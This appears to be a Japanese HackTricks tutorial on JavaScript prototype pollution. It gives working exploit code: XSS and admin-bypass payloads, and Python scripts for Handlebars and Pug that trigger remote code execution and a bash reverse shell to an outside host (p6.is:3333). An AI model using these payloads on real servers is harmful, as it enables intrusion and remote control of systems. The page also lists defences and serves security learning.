NodeJS - __proto__ とプロトタイプ汚染

Reading time: 20 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

JavaScriptのオブジェクト

JavaScriptのオブジェクトは本質的にキーと値のペアのコレクションであり、プロパティとして知られています。オブジェクトは、引数にnullを指定してObject.createを使用することで空のオブジェクトを生成できます。このメソッドは、継承されたプロパティなしでオブジェクトを作成することを可能にします。

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

空のオブジェクトは空の辞書に似ており、{}として表されます。

JavaScriptの関数とクラス

JavaScriptでは、クラスと関数は密接に関連しており、関数はしばしばクラスのコンストラクタとして機能します。JavaScriptにはネイティブのクラスサポートがないにもかかわらず、コンストラクタはクラスの動作をエミュレートできます。

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

JavaScriptにおけるプロトタイプ

JavaScriptは、ランタイムでプロトタイプ属性の修正、追加、または削除を許可します。この柔軟性により、クラス機能の動的拡張が可能になります。

toStringvalueOfのような関数は、その動作を変更するために変更可能であり、JavaScriptのプロトタイプシステムの適応性を示しています。

継承

プロトタイプベースのプログラミングでは、プロパティ/メソッドはクラスからオブジェクトに継承されます。これらのクラスは、別のクラスのインスタンスまたは空のオブジェクトにプロパティ/メソッドを追加することで作成されます。

プロトタイプとして他のオブジェクトに機能するオブジェクト(例えばmyPersonObj)にプロパティが追加されると、継承するオブジェクトはこの新しいプロパティにアクセスできることに注意が必要です。ただし、このプロパティは明示的に呼び出されない限り、自動的には表示されません。

__proto__汚染

JavaScriptにおけるプロトタイプ汚染の探求

JavaScriptオブジェクトはキーと値のペアによって定義され、JavaScript Objectプロトタイプから継承されます。これは、Objectプロトタイプを変更することで、環境内のすべてのオブジェクトに影響を与える可能性があることを意味します。

別の例を使って説明しましょう:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

Objectプロトタイプへのアクセスは、次の方法で可能です:

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Objectプロトタイプにプロパティを追加することで、すべてのJavaScriptオブジェクトはこれらの新しいプロパティを継承します:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

プロトタイプ汚染

__proto__ の使用が制限されているシナリオでは、関数のプロトタイプを変更することが代替手段です:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

これは、Vehicle コンストラクタから作成されたオブジェクトにのみ影響を与え、beephasWheelshonk、および isElectric プロパティを与えます。

プロトタイプ汚染を通じて JavaScript オブジェクトにグローバルに影響を与える2つの方法は次のとおりです:

  1. Object.prototype を直接汚染すること:
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. 一般的に使用される構造体のコンストラクタのプロトタイプを汚染すること:
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

これらの操作の後、すべてのJavaScriptオブジェクトはgoodbyeおよびgreetメソッドを実行できます。

他のオブジェクトを汚染する

クラスからObject.prototypeへ

特定のオブジェクトを汚染でき、Object.prototypeに到達する必要があるシナリオでは、次のようなコードでそれを検索できます:

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

配列要素の汚染

JSのオブジェクトの属性を汚染できるように、配列を汚染するアクセス権がある場合、インデックスによってアクセス可能な配列の値も汚染できます(値を上書きすることはできないので、何らかの形で使用されているが書き込まれていないインデックスを汚染する必要があります)。

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html要素の汚染

JSを介してHTML要素を生成する際、innerHTML属性を上書きして任意のHTMLコードを書くことが可能です。この書き込みからのアイデアと例

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

基本的な例

プロトタイプ汚染は、Object.prototypeのプロパティを上書きすることを許可するアプリケーションの欠陥によって発生します。これは、ほとんどのオブジェクトがObject.prototypeからプロパティを継承することを意味します。

最も簡単な例は、チェックされるオブジェクトの未定義の属性に値を追加することです。

javascript
if (user.admin) {

属性 admin が未定義 の場合、PPを悪用してTrueに設定することが可能です。

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

このメカニズムは、攻撃者が特定の入力を制御できる場合、アプリケーション内のすべてのオブジェクトのプロトタイプを変更できるようにプロパティを操作することに関係しています。この操作は通常、__proto__プロパティを設定することを含み、JavaScriptではオブジェクトのプロトタイプを直接変更することと同義です。

この攻撃が成功裏に実行される条件は、特定の研究に概説されており、以下が含まれます:

  • 再帰的マージを実行すること。
  • パスに基づいてプロパティを定義すること。
  • オブジェクトをクローンすること。

Override function

python
customer.__proto__.toString = ()=>{alert("polluted")}

プロトタイプ汚染からRCEへ

Prototype Pollution to RCE

その他のペイロード:

クライアントサイドのプロトタイプ汚染からXSSへ

Client Side Prototype Pollution

CVE-2019–11358: jQuery $ .extendを通じたプロトタイプ汚染攻撃

詳細についてはこの記事を確認してください jQueryでは、$ .extend関数が深いコピー機能を不適切に利用するとプロトタイプ汚染を引き起こす可能性があります。この関数は、オブジェクトのクローンやデフォルトオブジェクトからのプロパティのマージによく使用されます。しかし、誤って設定された場合、新しいオブジェクト用のプロパティがプロトタイプに割り当てられることがあります。例えば:

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

この脆弱性はCVE-2019–11358として特定されており、ディープコピーがプロトタイプを意図せずに変更する方法を示しています。これにより、isAdminのようなプロパティが適切な存在確認なしにチェックされると、未承認の管理者アクセスなどの潜在的なセキュリティリスクが生じる可能性があります。

CVE-2018–3721、CVE-2019–10744: lodashによるプロトタイプ汚染攻撃

詳細についてはこの記事を確認してください

Lodashは、同様のプロトタイプ汚染脆弱性(CVE-2018–3721、CVE-2019–10744)に直面しました。これらの問題はバージョン4.17.11で対処されました。

CVEを含む別のチュートリアル

https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2

プロトタイプ汚染を検出するためのツール

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: ウェブアプリケーションにおけるサーバーサイドのプロトタイプ汚染脆弱性を検出および分析するために設計されたBurp Suite拡張機能。このツールは、潜在的なプロトタイプ汚染の問題を特定するためにリクエストをスキャンするプロセスを自動化します。特にNode.jsライブラリに焦点を当て、プロトタイプ汚染を利用して有害なアクションを実行する既知のガジェットを悪用します。
  • server-side-prototype-pollution: この拡張機能は、サーバーサイドのプロトタイプ汚染脆弱性を特定します。サーバーサイドプロトタイプ汚染で説明されている技術を使用します。

NodeJSにおけるASTプロトタイプ汚染

NodeJSは、テンプレートエンジンやTypeScriptなどの機能のためにJavaScriptで抽象構文木(AST)を広範に利用しています。このセクションでは、特にHandlebarsとPugのテンプレートエンジンに関連するプロトタイプ汚染に関する脆弱性を探ります。

Handlebars脆弱性分析

Handlebarsテンプレートエンジンはプロトタイプ汚染攻撃に対して脆弱です。この脆弱性は、javascript-compiler.jsファイル内の特定の関数から生じます。例えば、appendContent関数は、pendingContentが存在する場合にそれを連結し、pushSource関数はソースを追加した後にpendingContentundefinedにリセットします。

悪用プロセス

悪用は、Handlebarsによって生成されたAST(抽象構文木)を利用し、以下の手順に従います:

  1. パーサーの操作: 最初に、NumberLiteralノードを介してパーサーは値が数値であることを強制します。プロトタイプ汚染はこれを回避でき、非数値の文字列を挿入することが可能になります。
  2. コンパイラによる処理: コンパイラはASTオブジェクトまたは文字列テンプレートを処理できます。input.typeProgramに等しい場合、入力は事前に解析されたものとして扱われ、これを悪用できます。
  3. コードの注入: Object.prototypeの操作を通じて、テンプレート関数に任意のコードを注入でき、リモートコード実行につながる可能性があります。

Handlebarsの脆弱性を悪用する例:

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

このコードは、攻撃者がHandlebarsテンプレートに任意のコードを注入する方法を示しています。

外部参照: プロトタイプ汚染に関連する問題が「flat」ライブラリで見つかりました。詳細はこちら: Issue on GitHub

外部参照: 「flat」ライブラリにおけるプロトタイプ汚染に関連する問題

Pythonにおけるプロトタイプ汚染のエクスプロイトの例:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pugの脆弱性

Pugは、別のテンプレートエンジンであり、プロトタイプ汚染の同様のリスクに直面しています。詳細情報は、PugにおけるASTインジェクションの議論で入手できます。

Pugにおけるプロトタイプ汚染の例:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

予防策

プロトタイプ汚染のリスクを減らすために、以下の戦略を採用できます:

  1. オブジェクトの不変性: Object.prototypeObject.freezeを適用することで不変にできます。
  2. 入力検証: JSON入力はアプリケーションのスキーマに対して厳密に検証する必要があります。
  3. 安全なマージ関数: 再帰的なマージ関数の安全でない使用は避けるべきです。
  4. プロトタイプのないオブジェクト: プロトタイププロパティのないオブジェクトはObject.create(null)を使用して作成できます。
  5. Mapの使用: キーと値のペアを保存するためにObjectの代わりにMapを使用すべきです。
  6. ライブラリの更新: 定期的にライブラリを更新することでセキュリティパッチを組み込むことができます。
  7. リンターと静的解析ツール: プロトタイプ汚染の脆弱性を検出し防止するために、適切なプラグインを持つESLintのようなツールを使用します。
  8. コードレビュー: プロトタイプ汚染に関連する潜在的なリスクを特定し修正するために、徹底的なコードレビューを実施します。
  9. セキュリティトレーニング: 開発者にプロトタイプ汚染のリスクと安全なコードを書くためのベストプラクティスについて教育します。
  10. ライブラリの使用に注意: サードパーティのライブラリを使用する際は注意が必要です。セキュリティの姿勢を評価し、特にオブジェクトを操作するコードをレビューします。
  11. ランタイム保護: プロトタイプ汚染攻撃を検出し防止できるセキュリティ重視のnpmパッケージを使用するなど、ランタイム保護メカニズムを採用します。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする